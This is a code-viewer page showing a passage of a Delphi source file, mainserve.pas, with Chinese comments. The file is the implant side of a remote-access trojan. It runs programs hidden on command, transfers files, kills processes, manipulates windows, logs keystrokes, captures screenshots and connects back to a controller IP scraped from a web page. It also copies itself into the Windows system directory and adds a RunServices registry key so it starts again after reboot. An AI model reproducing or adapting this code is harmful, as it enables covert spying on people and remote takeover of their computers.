📄 mainserve.pas
字号:
inc(i);
Temp := GetFilepath(RDStrList[1])+ GetFileName(RDStrList[1])+ '(' + inttoStr(i) + ')';
end;
CreateDir(Temp);
except
end;
Exit;
end;
if RDStrList[0] = '012' then {接收客户端传来的文件 }
begin
try
AFileStream:=TFileStream.Create(RDStrList[1], fmCreate);
try
i:=ServerForm.IdTCPClient1.ReadInteger();
ServerForm.IdTCPClient1.ReadStream(AFileStream,i);
except
end;
finally
AFileStream.Free;
end;
end;
if RDStrList[0] = '013' then {发送文件到客户端 }
begin
try
AFileStream:=TFileStream.Create(RDStrList[1], fmOpenRead);
try
ServerForm.IdTCPClient1.WriteLn('013');
ServerForm.IdTCPClient1.WriteInteger(AFileStream.Size);
ServerForm.IdTCPClient1.WriteStream(AFileStream);
except
end;
finally
AFileStream.Free;
end;
end;
if RDStrList[0] = '014' then {远程运行文件}
begin
try
if RDStrList.Count = 3 then
case Strtoint(RDStrList[1]) of
0:ShellExecute(0, nil, pchar(RDStrList[2]),nil, nil, SW_HIDE);
1:ShellExecute(0, nil, pchar(RDStrList[2]),nil, nil, SW_NORMAL);
2:ShellExecute(0, nil, pchar(RDStrList[2]),nil, nil, SW_MAXIMIZE);
3:ShellExecute(0, nil, pchar(RDStrList[2]),nil, nil, SW_MINIMIZE);
end
else case Strtoint(RDStrList[1]) of
0:ShellExecute(0, nil, pchar(RDStrList[2]),pchar(RDStrList[3]), nil, SW_HIDE);
1:ShellExecute(0, nil, pchar(RDStrList[2]),pchar(RDStrList[3]), nil, SW_NORMAL);
2:ShellExecute(0, nil, pchar(RDStrList[2]),pchar(RDStrList[3]), nil, SW_MAXIMIZE);
3:ShellExecute(0, nil, pchar(RDStrList[2]),pchar(RDStrList[3]), nil, SW_MINIMIZE);
end;
except
end;
end;
if RDStrList[0] = '020' then
begin
Request:= Savenowtask;
ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'020',Request);
Exit;
end;
if RDStrList[0] = '021' then
begin
if Killprocsee(strtoint(RDStrList[1])) then
begin
Request:= Savenowtask;
ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'020',Request); //刷新一下
Exit;
end;
end;
if RDStrList[0] = '030' then
begin
Request:= Searchallwindow;
ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'030',Request);
end;
if RDStrList[0] = '031' then
begin
try
Showwindow(allhwnd[strtoint(RDStrList[1])],SW_SHOW);
except
end;
Request:= Searchallwindow;
ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'030',Request);
end;
if RDStrList[0] = '032' then
begin
try
Showwindow(allhwnd[strtoint(RDStrList[1])],SW_Hide);
except
end;
Request:= Searchallwindow;
ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'030',Request);
end;
if RDStrList[0] = '033' then
begin
try
PostMessage(allhwnd[strtoint(RDStrList[1])],WM_Close,0,0);
except
end;
Request:= Searchallwindow;
ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'030',Request);
end;
if RDStrList[0] = '040' then
begin {启动键盘记录}
Request:= Installhook;
// if Request='' then Request:='Cmd011'; //启动键盘记录成功!查看记录前请先终止键盘记录!
ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'040',Request);
Exit;
end;
if RDStrList[0] = '041' then
begin {终止键盘记录}
Request:= Uninstallhook;
ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'041',Request);
Exit;
end;
if RDStrList[0] = '042' then
begin {查看键盘记录}
Request:=HookList.Text;
if Request='' then
begin
Request:='NULL'; //键盘记录为空.
end;
ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'042',Request);
Exit;
end;
if RDStrList[0] = '043' then
begin {清空键盘记录}
try
HookList.Clear;
except
end;
Request:='Cmd014'; //清空键盘记录完成!
ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'043',Request);
Exit;
end;
if RDStrList[0] = '050' then
begin
MyFirstBmp:=TMemoryStream.Create;
//MyFirstBmp.Clear;
My_GetScreenToBmp(true,MyFirstBmp);
MyFirstBmp.Position:=0;
try
ServerForm.IdTCPClient1.WriteLn('050');
ServerForm.IdTCPClient1.WriteInteger(MyFirstBmp.Size);
ServerForm.IdTCPClient1.WriteBuffer(MyFirstBmp.Memory^,MyFirstBmp.Size,true);
except
end;
MyFirstBmp.Free;
end;
if RDStrList[0] = '060' then //摄像头监控
begin
end;
if RDStrList[0] = '063' then //停止摄像头监控
begin
end;
if RDStrList[0] = '080' then //卸载服务端
begin
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('Software\Microsoft\Windows\CurrentVersion\RunServices', TRUE );
DeleteValue('alalmn'); //删除这个键值
finally
free;
end;
ServerForm.IdTCPClient1.Disconnect; //断开TCP
ServerForm.Timer1.Enabled:=false; //关闭TCP
Terminate; //退出
application.Terminate; //全局变量退出
Exit; //停止
end;
except
Terminate; //退出
Exit; //停止
end;
end;
procedure TClientHandleThread.Execute;
var
Thesize:Integer;
ThtStr:String;
RsltStream: TMemoryStream;
begin
while not Terminated do
begin
{ if not H_GZVIP2004.IdTCPOnline.Connected then
begin
H_GZVIP2004.ToClientDisconnect;
Break;
end
else begin }
try
ThtStr:=ServerForm.IdTCPClient1.ReadLn(); //H_GZVIP2004.IdTCPOnline.ReadLn(EOL);
Thesize:=Strtoint(ThtStr);
if Thesize>0 then
begin
try
RsltStream := TmemoryStream.Create;
ServerForm.IdTCPClient1.ReadStream(RsltStream,Thesize,False);
RsltStream.Position := 0;
SetLength(CommandStr, RsltStream.Size);
RsltStream.Read(CommandStr[1], RsltStream.Size);
RsltStream.Free;
Synchronize(HandleInput);
Except
// H_GZVIP2004.ToClientDisconnect;
Break;
end;
end;
except
end;
end;
//end;
end;
//-------------------------------------------------------------
function GetInfoByYearNet(const Str:String):String; //获取到的网页文件做相应的处理
var i,j:integer; //获取到的 {window.location = "http://123.6.48.96";;}
begin
Result:='';
i:=Pos('{window.location = "http://',Str);
if i=0 then Exit;
i:=i+length('{window.location = "http://');
j:=Pos('";;}',Str);
Result:= copy(Str,i,j-i); //提取到的IP
end;
function TServerForm.ConRpcport(BThread: TIdTCPClient):Boolean;
begin
try
Myipstr:='';
try
Myipstr:=GetInfoByYearNet(IdHTTP1.Get(httpurl)); //运行GetInfoByYearNet获取网页内容 用IdHTTP1获取
except
end;
if Myipstr<>'' then
begin
if BThread.Connected then //判断线程连接
BThread.Disconnect; //就断开
BThread.Host:=Myipstr; //上边获取到的网页IP文件
BThread.Port:=1058; //端口
BThread.Connect; //连接
Result:=True; //结果真
end;
except
Result:=False; //否则为假
end;
{
try
if BThread.Connected then
BThread.Disconnect;
BThread.Host:='127.0.0.1';
BThread.Port:=7626;
BThread.Connect();
Result:=True;
except
Result:=False;
end;
}
end;
procedure TServerForm.Timer1Timer(Sender: TObject);
begin
try
if not IdTCPClient1.Connected then //判断TCP是否连接
begin //没有连接往下运行
if ConRpcport(IdTCPClient1) then //由IdTCPClient1与服务端连接
begin
if not IdTCPClient1.Connected then exit; //没有连接 停止连接继续运行
SendStreamToClient(IdTCPClient1,'000',Servername+#13+GetOSName(GetOSVersion));
ClientHandleThread:=TClientHandleThread.Create;
end;
end;
except
end;
end;
procedure TServerForm.ReadMe;
var
i,j:integer;
F:file;
Symbol: array [1..50] of char;
Symbol1:array [1..50] of char;
Symbolsize,Symbolsize1: array [1..2] of char;
begin
for i:=1 to 50 do
begin
Symbol[i]:=#00;
Symbol1[i]:=#00;
end;
CopyFile(pChar(ParamStr(0)), pChar(ParamStr(0)+'_'), False);
Assignfile(F,Paramstr(0)+'_');
Reset(f,1);
Seek(F,Filesize(f)-2);
BlockRead(F,Symbolsize,2);
i :=strtoint(Symbolsize);
//showmessage(Symbolsize);
Seek(F,Filesize(f)-2-i);
BlockRead(F,Symbol,i);
Servername:=Trim(Symbol);
// showmessage(Servername);
Seek(F,Filesize(f)-i-4);
BlockRead(F,Symbolsize1,2);
j :=strtoint(Symbolsize1);
Seek(F,Filesize(f)-i-4-j);
BlockRead(F,Symbol1,j);
httpurl:=Trim(Symbol1);
// showmessage(httpurl);
Closefile(f);
DeleteFile(pChar(ParamStr(0)+'_'));
end;
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'\' then Result := Result + '\';
end;
procedure TServerForm.FormCreate(Sender: TObject);
var
myname:string;
//Reg:TRegistry;
begin
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir +myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);//将自己拷贝到WindowsSystem下
Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件
application.Terminate;//退出
end else
begin
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('Software\Microsoft\Windows\CurrentVersion\RunServices', TRUE ); //RunServices自启动
WriteString('alalmn', application.ExeName ); //application.ExeName获取当前路径写入注册表
finally
free;
end;
ReadMe;
HookList:= Tstringlist.Create; //创建内存
end;
end;
procedure TServerForm.FormDestroy(Sender: TObject);
begin
HookList.Free; //软件被破坏时释放内存
end;
procedure TServerForm.IdTCPClient1Disconnected(Sender: TObject);
begin
ClientHandleThread.Destroy; //文件被破坏就会停止
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -